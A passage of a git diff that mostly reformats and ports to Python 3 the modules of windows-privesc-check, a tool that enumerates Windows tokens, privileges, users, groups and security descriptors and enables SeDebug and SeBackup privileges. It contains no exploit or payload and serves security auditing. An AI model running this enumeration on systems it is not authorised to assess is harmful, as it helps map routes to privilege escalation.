+++ b/wpc/thread.py
@@ -10,6 +10,7 @@
OpenThread = ctypes.windll.kernel32.OpenThread
#OpenThreadToken = ctypes.windll.advapi32.OpenThreadToken
+
class thread:
def __init__(self, tid):
self.tid = tid
@@ -32,9 +33,13 @@ def get_sd(self):
#print "[D] get_sd passed th: %s" % self.get_th()
if not self.sd:
try:
- secdesc = win32security.GetSecurityInfo(self.get_th(), win32security.SE_KERNEL_OBJECT, win32security.DACL_SECURITY_INFORMATION | win32security.OWNER_SECURITY_INFORMATION | win32security.GROUP_SECURITY_INFORMATION)
- #print "[D] secdesc: %s" % secdesc
- self.sd = sd('thread', secdesc)
+ secdesc = win32security.GetSecurityInfo(
+ self.get_th(), win32security.SE_KERNEL_OBJECT,
+ win32security.DACL_SECURITY_INFORMATION
+ | win32security.OWNER_SECURITY_INFORMATION
+ | win32security.GROUP_SECURITY_INFORMATION)
+ #print "[D] secdesc: %s" % secdesc
+ self.sd = sd('thread', secdesc)
except:
pass
#print "[D] get_sd returning: %s" % self.sd
@@ -44,18 +49,23 @@ def get_th(self):
if not self.th:
try:
# THREAD_ALL_ACCESS needed to get security descriptor
- self.th = OpenThread(win32con.MAXIMUM_ALLOWED, False, self.get_tid())
+ self.th = OpenThread(win32con.MAXIMUM_ALLOWED, False,
+ self.get_tid())
#print "Openthread with THREAD_ALL_ACCESS: Success"
except:
try:
# THREAD_VM_READ is required to list modules (DLLs, EXE)
- self.th = OpenThread(win32con.THREAD_VM_READ | win32con.THREAD_QUERY_INFORMATION, False, self.get_tid())
+ self.th = OpenThread(
+ win32con.THREAD_VM_READ
+ | win32con.THREAD_QUERY_INFORMATION, False,
+ self.get_tid())
#print "Openthread with VM_READ and THREAD_QUERY_INFORMATION: Success"
except:
#print "Openthread with VM_READ and THREAD_QUERY_INFORMATION: Failed"
try:
# We can still get some info without THREAD_VM_READ
- self.th = OpenThread(win32con.THREAD_QUERY_INFORMATION, False, self.get_tid())
+ self.th = OpenThread(win32con.THREAD_QUERY_INFORMATION,
+ False, self.get_tid())
#print "Openthread with THREAD_QUERY_INFORMATION: Success"
except:
#print "Openthread with THREAD_QUERY_INFORMATION: Failed"
@@ -63,13 +73,15 @@ def get_th(self):
# If we have to resort to using THREAD_QUERY_LIMITED_INFORMATION, the thread is protected.
# There's no point trying THREAD_VM_READ
# Ignore pydev warning. We define this at runtime because win32con is out of date.
- self.th = OpenThread(win32con.THREAD_QUERY_LIMITED_INFORMATION, False, self.get_tid())
+ self.th = OpenThread(
+ win32con.THREAD_QUERY_LIMITED_INFORMATION,
+ False, self.get_tid())
#print "Openthread with THREAD_QUERY_LIMITED_INFORMATION: Success"
except:
#print "Openthread with THREAD_QUERY_LIMITED_INFORMATION: Failed"
self.th = None
# self.th = win32api.PyHANDLE(self.th)
- #print "[D] get_th: %s" % self.th
+#print "[D] get_th: %s" % self.th
return self.th
def get_tth(self):
@@ -77,7 +89,8 @@ def get_tth(self):
import sys
import pywintypes
try:
- self.tth = win32security.OpenThreadToken(self.get_th(), win32con.MAXIMUM_ALLOWED, True)
+ self.tth = win32security.OpenThreadToken(
+ self.get_th(), win32con.MAXIMUM_ALLOWED, True)
except pywintypes.error as e:
#print sys.exc_info()[0]
#print "xxx"
@@ -88,9 +101,11 @@ def get_tth(self):
# except:
# try:
# self.tth = win32security.OpenThreadToken(self.get_th(), win32con.TOKEN_QUERY, True)
- #print "OpenthreadToken with TOKEN_QUERY: Failed"
+ #print "OpenthreadToken with TOKEN_QUERY: Failed"
# except:
# pass
+
+
# print "[D] TTH: %s" % self.tth
return self.tth
diff --git a/wpc/token.py b/wpc/token.py
index 2b3dec3..df5bc3d 100755
--- a/wpc/token.py
+++ b/wpc/token.py
@@ -40,7 +40,11 @@ def get_sd(self):
if not self.sd:
try:
# TODO also get mandatory label
- secdesc = win32security.GetSecurityInfo(self.get_th(), win32security.SE_KERNEL_OBJECT, win32security.DACL_SECURITY_INFORMATION | win32security.OWNER_SECURITY_INFORMATION | win32security.GROUP_SECURITY_INFORMATION)
+ secdesc = win32security.GetSecurityInfo(
+ self.get_th(), win32security.SE_KERNEL_OBJECT,
+ win32security.DACL_SECURITY_INFORMATION
+ | win32security.OWNER_SECURITY_INFORMATION
+ | win32security.GROUP_SECURITY_INFORMATION)
self.sd = sd('token', secdesc)
except:
pass
@@ -49,12 +53,13 @@ def get_sd(self):
def get_token_groups(self):
if self.token_groups == []:
try:
- for tup in win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenGroups):
+ for tup in win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenGroups):
sid = tup[0]
attr = tup[1]
attr_str = attr
if attr < 0:
- attr = 2 ** 32 + attr
+ attr = 2**32 + attr
attr_str_a = []
if attr & 1:
attr_str_a.append("MANDATORY")
@@ -73,13 +78,15 @@ def get_token_groups(self):
def get_token_origin(self):
if not self.token_origin and self.get_th():
- self.token_origin = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenOrigin)
+ self.token_origin = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenOrigin)
return self.token_origin
def get_token_source(self):
if not self.token_source and self.get_th():
try:
- self.token_source = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenSource)
+ self.token_source = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenSource)
except:
pass
return self.token_source
@@ -87,7 +94,8 @@ def get_token_source(self):
def get_token_impersonation_level(self):
if not self.token_impersonation_level and self.get_th():
try:
- self.token_impersonation_level = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenImpersonationLevel)
+ self.token_impersonation_level = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenImpersonationLevel)
except:
pass
return self.token_impersonation_level
@@ -95,7 +103,8 @@ def get_token_impersonation_level(self):
def get_token_restrictions(self):
if not self.token_restrictions and self.get_th():
try:
- self.token_restrictions = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenHasRestrictions)
+ self.token_restrictions = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenHasRestrictions)
except:
pass
return self.token_restrictions
@@ -103,7 +112,8 @@ def get_token_restrictions(self):
def get_token_restricted_sids(self):
if self.token_restricted_sids == [] and self.get_th():
try:
- tups = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenRestrictedSids)
+ tups = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenRestrictedSids)
for sid, i in tups:
self.token_restricted_sids.append(principal(sid))
except:
@@ -113,7 +123,8 @@ def get_token_restricted_sids(self):
def get_token_elevation_type(self):
if not self.token_elevation_type and self.get_th():
try:
- self.token_elevation_type = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenElevationType)
+ self.token_elevation_type = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenElevationType)
if self.token_elevation_type == 1:
self.token_elevation_type = "TokenElevationTypeDefault"
elif self.token_elevation_type == 2:
@@ -129,7 +140,8 @@ def get_token_elevation_type(self):
def get_token_ui_access(self):
if not self.token_ui_access and self.get_th():
try:
- self.token_ui_access = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenUIAccess)
+ self.token_ui_access = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenUIAccess)
except:
pass
return self.token_ui_access
@@ -137,7 +149,8 @@ def get_token_ui_access(self):
def get_token_linked_token(self):
if not self.token_linked_token and self.get_th():
try:
- self.token_linked_token = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenLinkedToken)
+ self.token_linked_token = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenLinkedToken)
except:
pass
return self.token_linked_token
@@ -145,7 +158,8 @@ def get_token_linked_token(self):
def get_token_logon_sid(self):
if not self.token_logon_sid and self.get_th():
try:
- self.token_logon_sid = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenLogonSid)
+ self.token_logon_sid = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenLogonSid)
except:
pass
return self.token_logon_sid
@@ -153,7 +167,8 @@ def get_token_logon_sid(self):
def get_token_elevation(self):
if not self.token_elevation and self.get_th():
try:
- self.token_elevation = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenElevation)
+ self.token_elevation = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenElevation)
except:
pass
return self.token_elevation
@@ -161,7 +176,8 @@ def get_token_elevation(self):
def get_token_integrity_level(self):
if not self.token_integrity_level and self.get_th():
try:
- sid, i = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenIntegrityLevel)
+ sid, i = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenIntegrityLevel)
self.token_integrity_level = principal(sid)
except:
pass
@@ -170,7 +186,8 @@ def get_token_integrity_level(self):
def get_token_mandatory_policy(self):
if not self.token_mandatory_policy and self.get_th():
try:
- m = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenMandatoryPolicy)
+ m = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenMandatoryPolicy)
if m == 0:
m = "OFF"
@@ -190,7 +207,8 @@ def get_token_mandatory_policy(self):
def get_token_type(self):
if not self.token_type == [] and self.get_th():
try:
- tokentype = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenType)
+ tokentype = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenType)
tokentype_str = "TokenImpersonation"
if tokentype == 1:
tokentype_str = "TokenPrimary"
@@ -202,7 +220,8 @@ def get_token_type(self):
def get_token_restricted(self):
if not self.token_restricted and self.get_th():
try:
- self.token_restricted = win32security.IsTokenRestricted(self.get_th())
+ self.token_restricted = win32security.IsTokenRestricted(
+ self.get_th())
except:
pass
return self.token_restricted
@@ -212,47 +231,53 @@ def get_token_restricted(self):
def get_token_privileges(self):
if self.token_privileges == [] and self.get_th():
#try:
- privs = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenPrivileges)
-
- for priv_tuple in privs:
- attr_str_a = []
- priv_val = priv_tuple[0]
- attr = priv_tuple[1]
- attr_str = "unknown_attr(" + str(attr) + ")"
- if attr == 0:
- attr_str_a.append("[disabled but not removed]")
- if attr & 1:
- attr_str_a.append("ENABLED_BY_DEFAULT")
- if attr & 2:
- attr_str_a.append("ENABLED")
- if attr & 0x80000000:
- attr_str_a.append("USED_FOR_ACCESS")
- if attr & 4:
- attr_str_a.append("REMOVED")
-
- self.token_privileges.append((win32security.LookupPrivilegeName(wpc.conf.remote_server, priv_val), attr_str_a))
-
- #except:
- # pass
+ privs = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenPrivileges)
+
+ for priv_tuple in privs:
+ attr_str_a = []
+ priv_val = priv_tuple[0]
+ attr = priv_tuple[1]
+ attr_str = "unknown_attr(" + str(attr) + ")"
+ if attr == 0:
+ attr_str_a.append("[disabled but not removed]")
+ if attr & 1:
+ attr_str_a.append("ENABLED_BY_DEFAULT")
+ if attr & 2:
+ attr_str_a.append("ENABLED")
+ if attr & 0x80000000:
+ attr_str_a.append("USED_FOR_ACCESS")
+ if attr & 4:
+ attr_str_a.append("REMOVED")
+
+ self.token_privileges.append(
+ (win32security.LookupPrivilegeName(wpc.conf.remote_server,
+ priv_val), attr_str_a))
+
+ #except:
+ # pass
return self.token_privileges
def get_token_user(self):
if not self.token_user and self.get_th():
- sidObj, intVal = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenUser)
+ sidObj, intVal = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenUser)
if sidObj:
self.token_user = principal(sidObj)
return self.token_user
def get_token_primary_group(self):
if not self.token_primary_group and self.get_th():
- sidObj = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenPrimaryGroup)
+ sidObj = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenPrimaryGroup)
if sidObj:
self.token_primary_group = principal(sidObj)
return self.token_primary_group
def get_token_owner(self):
if not self.token_owner and self.get_th():
- sidObj = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenOwner)
+ sidObj = win32security.GetTokenInformation(
+ self.get_th(), ntsecuritycon.TokenOwner)
if sidObj:
self.token_owner = principal(sidObj)
return self.token_owner
@@ -263,24 +288,31 @@ def as_text_no_rec(self):
if self.get_th():
t += "Token Handle: %s\n" % self.get_th()
if self.get_token_owner():
- t += "Token Owner: " + str(self.get_token_owner().get_fq_name()) + "\n"
+ t += "Token Owner: " + str(
+ self.get_token_owner().get_fq_name()) + "\n"
if self.get_token_user():
- t += "Token User: " + str(self.get_token_user().get_fq_name()) + "\n"
+ t += "Token User: " + str(
+ self.get_token_user().get_fq_name()) + "\n"
if self.get_token_primary_group():
- t += "Token Group: " + str(self.get_token_primary_group().get_fq_name()) + "\n"
+ t += "Token Group: " + str(
+ self.get_token_primary_group().get_fq_name()) + "\n"
t += "Token Type: " + str(self.get_token_type()) + "\n"
t += "Token Origin: " + str(self.get_token_origin()) + "\n"
t += "Token Source: " + str(self.get_token_source()) + "\n"
- t += "TokenHasRestrictions: " + str(self.get_token_restrictions()) + "\n"
- t += "TokenElevationType: " + str(self.get_token_elevation_type()) + "\n"
+ t += "TokenHasRestrictions: " + str(
+ self.get_token_restrictions()) + "\n"
+ t += "TokenElevationType: " + str(
+ self.get_token_elevation_type()) + "\n"
t += "TokenUIAccess: " + str(self.get_token_ui_access()) + "\n"
t += "TokenLinkedToken: " + str(self.get_token_linked_token()) + "\n"
if self.get_token_linked_token():
t += token(self.get_token_linked_token()).as_text_no_rec2()
t += "TokenLogonSid: " + str(self.get_token_logon_sid()) + "\n"
t += "TokenElevation: " + str(self.get_token_elevation()) + "\n"
- t += "TokenIntegrityLevel: " + str(self.get_token_integrity_level().get_fq_name()) + "\n"
- t += "TokenMandatoryPolicy: " + str(self.get_token_mandatory_policy()) + "\n"
+ t += "TokenIntegrityLevel: " + str(
+ self.get_token_integrity_level().get_fq_name()) + "\n"
+ t += "TokenMandatoryPolicy: " + str(
+ self.get_token_mandatory_policy()) + "\n"
t += "Token Resitrcted Sids:\n"
for sid in self.get_token_restricted_sids():
t += "\t" + sid.get_fq_name() + "\n"
@@ -295,24 +327,31 @@ def as_text_no_rec3(self):
t = '--- Start Access Token ---\n'
if self.get_token_owner():
- t += "Token Owner: " + str(self.get_token_owner().get_fq_name()) + "\n"
+ t += "Token Owner: " + str(
+ self.get_token_owner().get_fq_name()) + "\n"
if self.get_token_user():
- t += "Token User: " + str(self.get_token_user().get_fq_name()) + "\n"
+ t += "Token User: " + str(
+ self.get_token_user().get_fq_name()) + "\n"
if self.get_token_primary_group():
- t += "Token Group: " + str(self.get_token_primary_group().get_fq_name()) + "\n"
+ t += "Token Group: " + str(
+ self.get_token_primary_group().get_fq_name()) + "\n"
t += "Token Type: " + str(self.get_token_type()) + "\n"
t += "Token Origin: " + str(self.get_token_origin()) + "\n"
t += "Token Source: " + str(self.get_token_source()) + "\n"
- t += "TokenHasRestrictions: " + str(self.get_token_restrictions()) + "\n"
- t += "TokenElevationType: " + str(self.get_token_elevation_type()) + "\n"
+ t += "TokenHasRestrictions: " + str(
+ self.get_token_restrictions()) + "\n"
+ t += "TokenElevationType: " + str(
+ self.get_token_elevation_type()) + "\n"
t += "TokenUIAccess: " + str(self.get_token_ui_access()) + "\n"
t += "TokenLinkedToken: " + str(self.get_token_linked_token()) + "\n"
#if self.get_token_linked_token():
# t += token(self.get_token_linked_token()).as_text_no_rec2()
t += "TokenLogonSid: " + str(self.get_token_logon_sid()) + "\n"
t += "TokenElevation: " + str(self.get_token_elevation()) + "\n"
- t += "TokenIntegrityLevel: " + str(self.get_token_integrity_level().get_fq_name()) + "\n"
- t += "TokenMandatoryPolicy: " + str(self.get_token_mandatory_policy()) + "\n"
+ t += "TokenIntegrityLevel: " + str(
+ self.get_token_integrity_level().get_fq_name()) + "\n"
+ t += "TokenMandatoryPolicy: " + str(
+ self.get_token_mandatory_policy()) + "\n"
t += "Token Resitrcted Sids:\n"
for sid in self.get_token_restricted_sids():
t += "\t" + sid.get_fq_name() + "\n"
@@ -327,24 +366,31 @@ def as_text_no_rec2(self):
t = '--- Start Access Token ---\n'
if self.get_token_owner():
- t += "Token Owner: " + str(self.get_token_owner().get_fq_name()) + "\n"
+ t += "Token Owner: " + str(
+ self.get_token_owner().get_fq_name()) + "\n"
if self.get_token_user():
- t += "Token User: " + str(self.get_token_user().get_fq_name()) + "\n"
+ t += "Token User: " + str(
+ self.get_token_user().get_fq_name()) + "\n"
if self.get_token_primary_group():
- t += "Token Group: " + str(self.get_token_primary_group().get_fq_name()) + "\n"
+ t += "Token Group: " + str(
+ self.get_token_primary_group().get_fq_name()) + "\n"
t += "Token Type: " + str(self.get_token_type()) + "\n"
t += "Token Origin: " + str(self.get_token_origin()) + "\n"
t += "Token Source: " + str(self.get_token_source()) + "\n"
- t += "TokenHasRestrictions: " + str(self.get_token_restrictions()) + "\n"
- t += "TokenElevationType: " + str(self.get_token_elevation_type()) + "\n"
+ t += "TokenHasRestrictions: " + str(
+ self.get_token_restrictions()) + "\n"
+ t += "TokenElevationType: " + str(
+ self.get_token_elevation_type()) + "\n"
t += "TokenUIAccess: " + str(self.get_token_ui_access()) + "\n"
t += "TokenLinkedToken: " + str(self.get_token_linked_token()) + "\n"
if self.get_token_linked_token():
t += token(self.get_token_linked_token()).as_text_no_rec3()
t += "TokenLogonSid: " + str(self.get_token_logon_sid()) + "\n"
t += "TokenElevation: " + str(self.get_token_elevation()) + "\n"
- t += "TokenIntegrityLevel: " + str(self.get_token_integrity_level().get_fq_name()) + "\n"
- t += "TokenMandatoryPolicy: " + str(self.get_token_mandatory_policy()) + "\n"
+ t += "TokenIntegrityLevel: " + str(
+ self.get_token_integrity_level().get_fq_name()) + "\n"
+ t += "TokenMandatoryPolicy: " + str(
+ self.get_token_mandatory_policy()) + "\n"
t += "Token Resitrcted Sids:\n"
for sid in self.get_token_restricted_sids():
t += "\t" + sid.get_fq_name() + "\n"
@@ -361,16 +407,21 @@ def as_text(self):
if self.get_th_int():
t += "Token Handle: %s\n" % int(self.get_th_int())
if self.get_token_owner():
- t += "Token Owner: " + str(self.get_token_owner().get_fq_name()) + "\n"
+ t += "Token Owner: " + str(
+ self.get_token_owner().get_fq_name()) + "\n"
if self.get_token_user():
- t += "Token User: " + str(self.get_token_user().get_fq_name()) + "\n"
+ t += "Token User: " + str(
+ self.get_token_user().get_fq_name()) + "\n"
if self.get_token_primary_group():
- t += "Token Group: " + str(self.get_token_primary_group().get_fq_name()) + "\n"
+ t += "Token Group: " + str(
+ self.get_token_primary_group().get_fq_name()) + "\n"
t += "Token Type: " + str(self.get_token_type()) + "\n"
t += "Token Origin: " + str(self.get_token_origin()) + "\n"
t += "Token Source: " + str(self.get_token_source()) + "\n"
- t += "TokenHasRestrictions: " + str(self.get_token_restrictions()) + "\n"
- t += "TokenElevationType: " + str(self.get_token_elevation_type()) + "\n"
+ t += "TokenHasRestrictions: " + str(
+ self.get_token_restrictions()) + "\n"
+ t += "TokenElevationType: " + str(
+ self.get_token_elevation_type()) + "\n"
t += "TokenUIAccess: " + str(self.get_token_ui_access()) + "\n"
t += "TokenLinkedToken: " + str(self.get_token_linked_token()) + "\n"
if self.get_token_linked_token():
@@ -378,10 +429,12 @@ def as_text(self):
t += "TokenLogonSid: " + str(self.get_token_logon_sid()) + "\n"
t += "TokenElevation: " + str(self.get_token_elevation()) + "\n"
if self.get_token_integrity_level():
- t += "TokenIntegrityLevel: " + str(self.get_token_integrity_level().get_fq_name()) + "\n"
+ t += "TokenIntegrityLevel: " + str(
+ self.get_token_integrity_level().get_fq_name()) + "\n"
else:
t += "TokenIntegrityLevel: [unknown]\n"
- t += "TokenMandatoryPolicy: " + str(self.get_token_mandatory_policy()) + "\n"
+ t += "TokenMandatoryPolicy: " + str(
+ self.get_token_mandatory_policy()) + "\n"
t += "Token Resitrcted Sids:\n"
for sid in self.get_token_restricted_sids():
t += "\t" + sid.get_fq_name() + "\n"
diff --git a/wpc/user.py b/wpc/user.py
index 06eed53..e1a9cc2 100755
--- a/wpc/user.py
+++ b/wpc/user.py
@@ -11,9 +11,11 @@ def __init__(self, *args, **kwargs):
self.effective_privileges = []
# populate principal.info['member_of'] (groups this user belongs to)
+
+
# self.add_info({'member_of': " ".join(self.get_groups_fq_name())})
- # populate principal.info['privileges'] (privs of user + privs of user's groups)
+# populate principal.info['privileges'] (privs of user + privs of user's groups)
# self.add_info({'privileges': " ".join(self.get_effective_privileges())})
def get_effective_privileges(self):
@@ -24,35 +26,39 @@ def get_effective_privileges(self):
for g in self.get_groups():
gprivileges = list(list(gprivileges) + list(g.get_privileges()))
- return sorted(list(set(list(self.get_privileges()) + list(gprivileges))))
+ return sorted(
+ list(set(list(self.get_privileges()) + list(gprivileges))))
def get_groups_fq_name(self):
if not self.member_of:
self.member_of = self.get_groups()
return map(lambda x: x.get_fq_name(), self.member_of)
-
+
def get_groups(self):
if self.member_of:
return self.member_of
- from wpc.group import group as Group # we have to import here to avoid circular import
+ from wpc.group import group as Group # we have to import here to avoid circular import
g1 = []
g2 = []
try:
- g1 = win32net.NetUserGetLocalGroups(wpc.conf.remote_server, self.get_name(), 0)
+ g1 = win32net.NetUserGetLocalGroups(wpc.conf.remote_server,
+ self.get_name(), 0)
except:
pass
try:
- g2 = win32net.NetUserGetGroups(wpc.conf.remote_server, self.get_name())
+ g2 = win32net.NetUserGetGroups(wpc.conf.remote_server,
+ self.get_name())
except:
pass
for g in g2:
g1.append(g[0])
for group in g1:
- gsid, s, i = wpc.conf.cache.LookupAccountName(wpc.conf.remote_server, group)
+ gsid, s, i = wpc.conf.cache.LookupAccountName(
+ wpc.conf.remote_server, group)
self.member_of.append(Group(gsid))
return self.member_of
diff --git a/wpc/users.py b/wpc/users.py
index 2dc9659..ff4dfc0 100755
--- a/wpc/users.py
+++ b/wpc/users.py
@@ -10,39 +10,43 @@ def __init__(self):
def get_filtered(self, ):
if self.users == []:
#try:
- level = 1
- resume = 0
- while True:
- userlist, total, resume = win32net.NetUserEnum(wpc.conf.remote_server, level, 0, resume, 999999)
- #print u
- for u in userlist:
- # self.users.append(user['name'])
- #try:
- sid, name, type = wpc.conf.cache.LookupAccountName(wpc.conf.remote_server, u['name'])
- self.users.append(user(sid))
- #except:
- # print "[E] failed to lookup sid of %s" % user['name']
- if resume == 0:
- break
+ level = 1
+ resume = 0
+ while True:
+ userlist, total, resume = win32net.NetUserEnum(
+ wpc.conf.remote_server, level, 0, resume, 999999)
+ #print u
+ for u in userlist:
+ # self.users.append(user['name'])
+ #try:
+ sid, name, type = wpc.conf.cache.LookupAccountName(
+ wpc.conf.remote_server, u['name'])
+ self.users.append(user(sid))
+ #except:
+ # print "[E] failed to lookup sid of %s" % user['name']
+ if resume == 0:
+ break
return self.users
def get_all(self):
if self.users == []:
#try:
- level = 0
- resume = 0
- while True:
- userlist, total, resume = win32net.NetUserEnum(wpc.conf.remote_server, level, 0, resume, 999999)
- #print u
- for u in userlist:
- # self.users.append(user['name'])
- #try:
- sid, name, type = wpc.conf.cache.LookupAccountName(wpc.conf.remote_server, u['name'])
- self.users.append(user(sid))
- #except:
- # print "[E] failed to lookup sid of %s" % user['name']
- if resume == 0:
- break
- #except:
- # print "[E] NetUserEnum failed"
+ level = 0
+ resume = 0
+ while True:
+ userlist, total, resume = win32net.NetUserEnum(
+ wpc.conf.remote_server, level, 0, resume, 999999)
+ #print u
+ for u in userlist:
+ # self.users.append(user['name'])
+ #try:
+ sid, name, type = wpc.conf.cache.LookupAccountName(
+ wpc.conf.remote_server, u['name'])
+ self.users.append(user(sid))
+ #except:
+ # print "[E] failed to lookup sid of %s" % user['name']
+ if resume == 0:
+ break
+ #except:
+ # print "[E] NetUserEnum failed"
return self.users
diff --git a/wpc/utils.py b/wpc/utils.py
index 8816e94..7290a54 100755
--- a/wpc/utils.py
+++ b/wpc/utils.py
@@ -27,7 +27,7 @@
# remote_server can IP be None (should be None if on localhost)
def init(options):
# Print banner with version and URL
-# print_banner()
+ # print_banner()
# Use some libs. This will malfunction if we don't use them BEFORE we disable WOW64.
load_libs()
@@ -50,15 +50,17 @@ def init(options):
define_trusted_principals()
# Use the crendentials supplied (OK to call if no creds were supplied)
- impersonate(options.remote_user, options.remote_pass, options.remote_domain)
+ impersonate(options.remote_user, options.remote_pass,
+ options.remote_domain)
def get_banner():
- return "windows-privesc-check v%s (http://pentestmonkey.net/windows-privesc-check)\n" % get_version()
+ return "windows-privesc-check v%s (http://pentestmonkey.net/windows-privesc-check)\n" % get_version(
+ )
def print_banner():
- print get_banner()
+ print(get_banner())
def get_version():
@@ -81,11 +83,19 @@ def get_extra_privs():
# Problem: Vista+ support "Protected" processes, e.g. audiodg.exe. We can't see info about these.
# Interesting post on why Protected Process aren't really secure anyway: http://www.alex-ionescu.com/?p=34
- th = win32security.OpenProcessToken(win32api.GetCurrentProcess(), win32con.TOKEN_ADJUST_PRIVILEGES | win32con.TOKEN_QUERY)
- privs = win32security.GetTokenInformation(th, ntsecuritycon.TokenPrivileges)
+ th = win32security.OpenProcessToken(
+ win32api.GetCurrentProcess(),
+ win32con.TOKEN_ADJUST_PRIVILEGES | win32con.TOKEN_QUERY)
+ privs = win32security.GetTokenInformation(th,
+ ntsecuritycon.TokenPrivileges)
newprivs = []
for privtuple in privs:
- if privtuple[0] == win32security.LookupPrivilegeValue(wpc.conf.remote_server, "SeBackupPrivilege") or privtuple[0] == win32security.LookupPrivilegeValue(wpc.conf.remote_server, "SeDebugPrivilege") or privtuple[0] == win32security.LookupPrivilegeValue(wpc.conf.remote_server, "SeSecurityPrivilege"):
+ if privtuple[0] == win32security.LookupPrivilegeValue(
+ wpc.conf.remote_server, "SeBackupPrivilege"
+ ) or privtuple[0] == win32security.LookupPrivilegeValue(
+ wpc.conf.remote_server, "SeDebugPrivilege"
+ ) or privtuple[0] == win32security.LookupPrivilegeValue(
+ wpc.conf.remote_server, "SeSecurityPrivilege"):
# print "Added privilege " + str(privtuple[0])
# privtuple[1] = 2 # tuples are immutable. WHY?!
newprivs.append((privtuple[0], 2)) # SE_PRIVILEGE_ENABLED
@@ -101,14 +111,13 @@ def load_libs():
# Load win32security
#
# Try to open file and ingore the result. This gets win32security loaded and working.
- # We can then turn off WOW64 and call repeatedly. If we turn off WOW64 first,
+ # We can then turn off WOW64 and call repeatedly. If we turn off WOW64 first,
# win32security will fail to work properly.
try:
sd = win32security.GetNamedSecurityInfo(
- ".",
- win32security.SE_FILE_OBJECT,
- win32security.OWNER_SECURITY_INFORMATION | win32security.DACL_SECURITY_INFORMATION
- )
+ ".", win32security.SE_FILE_OBJECT,
+ win32security.OWNER_SECURITY_INFORMATION
+ | win32security.DACL_SECURITY_INFORMATION)
except:
# nothing
pass
@@ -153,24 +162,35 @@ def enable_wow64():
def define_trusted_principals():
# Ignore "NT AUTHORITY\TERMINAL SERVER USER" if HKLM\System\CurrentControlSet\Control\Terminal Server\TSUserEnabled = 0 or doesn't exist
# See http://support.microsoft.com/kb/238965 for details
- r = regkey(r"HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server")
+ r = regkey(
+ r"HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server")
if r.is_present():
v = r.get_value("TSUserEnabled")
if v is None:
- print "[i] TSUserEnabled registry value is absent. Excluding TERMINAL SERVER USER"
+ print(
+ "[i] TSUserEnabled registry value is absent. Excluding TERMINAL SERVER USER"
+ )
elif v != 0:
- print "[i] TSUserEnabled registry value is %s. Including TERMINAL SERVER USER" % v
- wpc.conf.trusted_principals_fq.append("NT AUTHORITY\TERMINAL SERVER USER")
+ print(
+ f"[i] TSUserEnabled registry value is {v}. Including TERMINAL SERVER USER"
+ )
+ wpc.conf.trusted_principals_fq.append(
+ "NT AUTHORITY\TERMINAL SERVER USER")
else:
- print "[i] TSUserEnabled registry value is 0. Excluding TERMINAL SERVER USER"
+ print(
+ "[i] TSUserEnabled registry value is 0. Excluding TERMINAL SERVER USER"
+ )
else:
- print "[i] TSUserEnabled registry key is absent. Excluding TERMINAL SERVER USER"
- print
+ print(
+ "[i] TSUserEnabled registry key is absent. Excluding TERMINAL SERVER USER"
+ )
+ print()
for t in wpc.conf.trusted_principals_fq:
try:
- sid, name, i = win32security.LookupAccountName(wpc.conf.remote_server, t)
+ sid, name, i = win32security.LookupAccountName(
+ wpc.conf.remote_server, t)
if sid:
p = principal(sid)
#print "Trusted: %s (%s) [%s]" % (p.get_fq_name(), p.get_type_string(), p.is_group_type())
@@ -186,7 +206,7 @@ def define_trusted_principals():
wpc.conf.trusted_principals.append(p)
else:
- print "[E] can't look up sid for " + t
+ print(f"[E] can't look up sid for {t}")
except:
pass
@@ -208,10 +228,10 @@ def define_trusted_principals():
except:
pass
- print "Considering these users to be trusted:"
+ print("Considering these users to be trusted:")
for p in wpc.conf.trusted_principals:
- print "* " + p.get_fq_name()
- print
+ print(f"* {p.get_fq_name()}")
+ print()
# Walk a directory tree, returning all matching files
@@ -224,23 +244,25 @@ def define_trusted_principals():
def dirwalk(directory, extensions, include_dirs):
# Compile regular expression for file entension matching
- re_string = r'\.' + r'$|\.'.join(extensions) # '\.exe$|\.py$|\.svn-base$|\.com$|\.bat$|\.dll$'
+ re_string = r'\.' + r'$|\.'.join(
+ extensions) # '\.exe$|\.py$|\.svn-base$|\.com$|\.bat$|\.dll$'
re_exe = re.compile(re_string, re.IGNORECASE)
for root, dirs, files in oswalk(directory):
- #print "root=%s, dirs=%s, files=%s" % (root, dirs, files)
- yield root
+ #print "root=%s, dirs=%s, files=%s" % (root, dirs, files)
+ yield root
- for file in files:
- m = re_exe.search(file)
- if m is None:
